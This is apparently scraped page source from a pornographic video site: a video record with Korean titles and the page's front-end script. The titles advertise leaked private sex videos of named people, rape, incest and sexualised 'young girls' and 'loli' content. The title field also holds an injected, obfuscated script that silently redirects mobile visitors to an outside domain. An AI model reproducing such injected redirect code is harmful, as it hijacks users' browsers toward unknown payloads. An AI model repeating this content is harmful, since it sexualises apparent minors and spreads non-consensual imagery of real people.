개인 사진 유출: 청두의 반항적인 소녀 왕쯔한, 엄격한 집안 규율 때문에 가출 후 방탕한 생활을 하며 머리를 빨갛게 염색하고 문란한 성생활을 즐겼다.","site_id":0,"video_url":"https://2606.senlin2026.com/20260705/fSz1hh9W/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvYjY4NWNkMDM5NTIwZDgzZmJmZWYxNDBmYTMwNWQ2ODUuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["개인 사진 촬영","가벼운 섹스","청두","여동생","대사","반항","새다","가정 교사","본인","집에서 멀리 떨어진 곳","지한","집에서 도망치다","왕자","도망치다","개인 촬영 영상 유출"],"site_url":"276862","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["91探花"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvYjY4NWNkMDM5NTIwZDgzZmJmZWYxNDBmYTMwNWQ2ODUuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"
私拍泄密成都叛逆小妹王子涵因家教严而离家出走之后放纵自我染红毛到处约炮","s_keywords":"私拍泄密成都叛逆小妹王子涵因家教严而离家出走之后放纵自我染红毛到处约炮","s_description":"개인 사진 유출: 청두의 반항적인 소녀 왕쯔한, 엄격한 집안 규율 때문에 가출 후 방탕한 생활을 하며 머리를 빨갛게 염색하고 문란한 성생활을 즐겼다.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTVjMjc3ZDhmNzU1YmQ5MDY3OWFkZDYxNDI0MjA1NjAuanBn.cache","vod_id":19247554,"title":"너무나 여린 소녀, 작은 가슴, 짧은 치마, 하얀 양말, 그녀를 격렬하게 강간하고 싶다.","lastmod":"2026-03-04","duration":"0:09:40","url":"/play/19247554.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTEvOTEzNTU5YjY2N2MxMTVmNmFlMjg3NTllZDlkZTczNTUuanBn.cache","vod_id":19217532,"title":"인터넷 유명 여신의 노출 사진들이 유출되어 그녀의 사생활이 공개됐다. 사진 속에는 풍만한 가슴과 탐스러운 엉덩이를 드러낸 모습들이 담겨 있다.","lastmod":"2025-08-10","duration":"0:21:07","url":"/play/19217532.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjJiMTBkN2I3NWZmYWJjMGExYTBjMzQ5MmQzY2I3ZjAuanBn.cache","vod_id":19253534,"title":"유출된 영상 중 가장 충격적인 내용은 연예계의 암묵적인 규칙들을 폭로합니다. 유명 미술학교 졸업생이 특정 역할에 강제로 투입되는 모습이 몰래 촬영된 것입니다.","lastmod":"2026-04-11","duration":"0:14:50","url":"/play/19253534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvOGRiOWYyNGM0NzhlYzJjMmMxZjVmNTQ2NGFhYWYzMjMuanBn.cache","vod_id":19235625,"title":"이러한 대조는 그의 타고난 문란한 본성을 드러낸다. 해외 유학을 마치고 졸업한 그는 외국인 두 명과 함께 문란한 3인 성관계를 가졌다.","lastmod":"2025-12-20","duration":"0:11:26","url":"/play/19235625.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjMvMmY1NTgxODllZDY4NTEzYjU5OGJmZmRmNmEwYWViYTYuanBn.cache","vod_id":19227633,"title":"트위터 유명인들의 만남 모음: 격렬한 삽입과 과격한 가슴 흔들기","lastmod":"2025-10-22","duration":"0:01:58","url":"/play/19227633.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzc1OWJkODJjYzMyMDllZjA5Y2M5MjgyNzAwMDE2NGEuanBn.cache","vod_id":19096486,"title":"[최신 유출] 음란한 자매들이 한밤중에 공중화장실에서 낯선 남자와 뜨거운 관계를 맺고 인공수정을 받았다—너무 짜릿해!","lastmod":"2025-03-29","duration":"0:28:43","url":"/play/19096486.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGI2YmRkYjViOTI1ODQzMTg1OGNkZWMwOGMxMGJmYmYuanBn.cache","vod_id":19082147,"title":"데이트하면서 정말 괜찮은 여자를 만났어요.","lastmod":"2025-03-29","duration":"0:54:10","url":"/play/19082147.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGQ5YWI3ZjY3YzM3MTM1YWE3Yzg0MWUwNDY1Mzg3Y2IuanBn.cache","vod_id":19145295,"title":"#D 순진한 어린 소녀의 자위 유혹","lastmod":"2025-03-29","duration":"0:35:14","url":"/play/19145295.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMThiMGQ4MDhlMzM5NmUwOGFjYmNmN2NiYjJjOWE3MTYuanBn.cache","vod_id":19254362,"title":"가슴 사이즈 36E의 여성 피트니스 강사가 남학생과 성관계를 갖다가 발각됐다. 그녀는 술에 취했고, 남자는 그녀를 자신이 빌린 아파트로 데려가 옷을 벗기고 격렬하게 성관계를 맺으며 그녀의 큰 가슴을 만졌다.","lastmod":"2026-04-16","duration":"0:14:45","url":"/play/19254362.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTg1ODdiYmUzNWRlZjUyYjg5YTE5ZDE0YzU4ZmZkYjguanBn.cache","vod_id":19121359,"title":"2019년 최신 최고급 글래머 여신 '프라이빗 플레이씽' VIP 에디션: 욕실 블랙 스타킹 여신, 거대한 가슴의 여신 욕실 가짜 D자형 페니스 삽입, 고화질 프라이빗 샷 42P, 고화질 1080P 풀 버전","lastmod":"2025-03-29","duration":"0:17:30","url":"/play/19121359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTYvMGRlYWU5ZmMzMDQyYmEzN2RiZTFiYTI5NDU1MGFjYmQuanBn.cache","vod_id":19222442,"title":"매춘부 고객의 자기 계발 91 션 씨, 최고급 미모의 모델 3000명","lastmod":"2025-09-15","duration":"1:49:40","url":"/play/19222442.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTUvYzkwNTkyM2NlNjZlNDc2NTExYWFiNWE3ZDY5YmUyZjIuanBn.cache","vod_id":19263658,"title":"귀여운 로리부터 교복을 입은 여신, 섹시하고 에로틱한 교복을 입은 소녀들까지, 최고 품질의 어린 소녀들의 사진과 영상 모음입니다. 풍만한 엉덩이를 드러낸 채 성관계를 하는 모습이 담긴 유출된 사적인 사진과 영상도 포함되어 있습니다.","lastmod":"2026-06-14","duration":"1:04:27","url":"/play/19263658.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWYwM2NmZDRkNDZjYjdmNGVjZTQ2MzEwY2M1OTI2ZGYuanBn.cache","vod_id":19155150,"title":"토끼 귀 머리띠를 한 소녀의 개인 사진 촬영.","lastmod":"2025-03-30","duration":"0:12:33","url":"/play/19155150.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjIyODQ0YTQ1ZjdkOWVlNmNmMjg1MTk5MzBlMTc3NDUuanBn.cache","vod_id":19109869,"title":"#청두탕바오얼 00","lastmod":"2025-03-29","duration":"1:07:25","url":"/play/19109869.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTgvZTVjYmUyMWQ5ZDA1NTYyMzI2YzliODA1ZjJmZmNiNWQuanBn.cache","vod_id":19203586,"title":"DASS213 점점 더 재밌어지네요, 그렇죠? 여동생이 엄마 대신 젖을 먹으면서 오럴 섹스를 해주고 있어요.","lastmod":"2025-05-18","duration":"","url":"/play/19203586.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOThiMTZlZTc5N2QyMzU0ZDZlZGRjNWE4ZjI0NThjM2UuanBn.cache","vod_id":19256716,"title":"상반된 성격으로 유명한 청두 대학생 셰쉰이 하룻밤 관계 상대의 발기부전을 조롱한 사실이 폭로되면서, 상대는 그의 집단 성애 성향과 그 외 충격적인 사실들을 털어놓았다.","lastmod":"2026-05-02","duration":"0:01:32","url":"/play/19256716.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODVlOTYxYzk5MTBlNDEyYTE0MGVlYmVlYzc3ODAzNWQuanBn.cache","vod_id":19255249,"title":"재벌 2세 남성이 만화 행사에서 아름다운 소수민족 여성을 만났는데, 그녀는 얼굴을 드러내고 풍만한 가슴을 자랑했다. 그는 그녀에게 완전히 몰두하여 구강성교를 하며 황홀경에 빠진 듯 보였다.","lastmod":"2026-04-22","duration":"0:05:30","url":"/play/19255249.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTJmOTFjMzcwMjkyMzViMDM0ODZmYTA4NmI5MjkyOTcuanBn.cache","vod_id":19031014,"title":"[단독 유출] 최고급 품질의 풍만한 가슴을 가진 성숙한 젊은 여성! 다양한 섹시한 란제리를 입고 여러 가지 체위로 온갖 방법으로 성관계를 가지며, 음탕함과 질내 사정을 즐기는 모습을 보여줍니다.","lastmod":"2025-03-28","duration":"0:35:01","url":"/play/19031014.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDYyYzhjYWIyNjQ3ZTZiYWE4OGVjNWJiMGZkMmNhZjIuanBn.cache","vod_id":19129783,"title":"중국 AV 모델 고양이 발 이미지 MMZ016 가정교사 여동생의 보상 예루멍","lastmod":"2025-03-29","duration":"0:33:11","url":"/play/19129783.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYS5zbDI2MDIwNC50b3AvdXBsb2FkL3ZvZC8yMDI2MDIyMy0xLzRhYjVkMTBlM2RjZDE1ZjkyN2U0MjViMzNkZTdjNTI1LmpwZw==.cache","vod_id":19246214,"title":"인플루언서 샤오우의 고가 맞춤 제작 누드 댄스 자위 영상이 온라인에 유출됐다.","lastmod":"2026-02-23","duration":"0:34:37","url":"/play/19246214.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmQxMjQ1NzhiNDVjMTZiZjNkZWI5MGFiY2U1NWMxYTUuanBn.cache","vod_id":19247091,"title":"[최근 유출] 아름답고 미혼이며 성숙한 기혼 여성이 풍만한 가슴을 드러낸 채 포르노 라이브 스트리밍에 참여하고 있다.","lastmod":"2026-03-01","duration":"1:19:10","url":"/play/19247091.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTA2NzgxYTA2OTM0MzU1ZmVmOWIyM2YzM2IzNmFlZjIuanBn.cache","vod_id":19031670,"title":"[섹시 여주인공] 최신 개인 섹스 비디오 유출 - 다리 강간 및 삽입 - 완벽한 얼굴 공개","lastmod":"2025-03-28","duration":"0:33:26","url":"/play/19031670.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTcxMjU1MmRlOWY2NGJiMTJkYTkwY2U0YTY0NzBiOTkuanBn.cache","vod_id":19258853,"title":"도발적인 표정과 요염한 태도를 자주 보여주는, 자극적인 라이브 방송으로 유명한 48만 팔로워를 보유한 더우인 인플루언서인 그녀는 청두 네티즌들이 애정 어린 별명으로 부르는 \"그에게 의식을 치러야 하는 누나\"의 대표적인 예입니다.","lastmod":"2026-05-15","duration":"0:03:59","url":"/play/19258853.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjEvOGIwMDA0MWI5M2FlYzNhOTFjOGVkMzJjZWZmOWIwNWMuanBn.cache","vod_id":19264550,"title":"모델의 사적인 사진이 온라인에 유출됐다: 글래머 모델 미에코 린 메이후이의 노출이 심한 사적인 영상이 유출됐다.","lastmod":"2026-06-20","duration":"0:18:24","url":"/play/19264550.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>개인 사진 유출: 청두의 반항적인 소녀 왕쯔한, 엄격한 집안 규율 때문에 가출 후 방탕한 생활을 하며 머리를 빨갛게 염색하고 문란한 성생활을 즐겼다.</title></script></title></script>',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}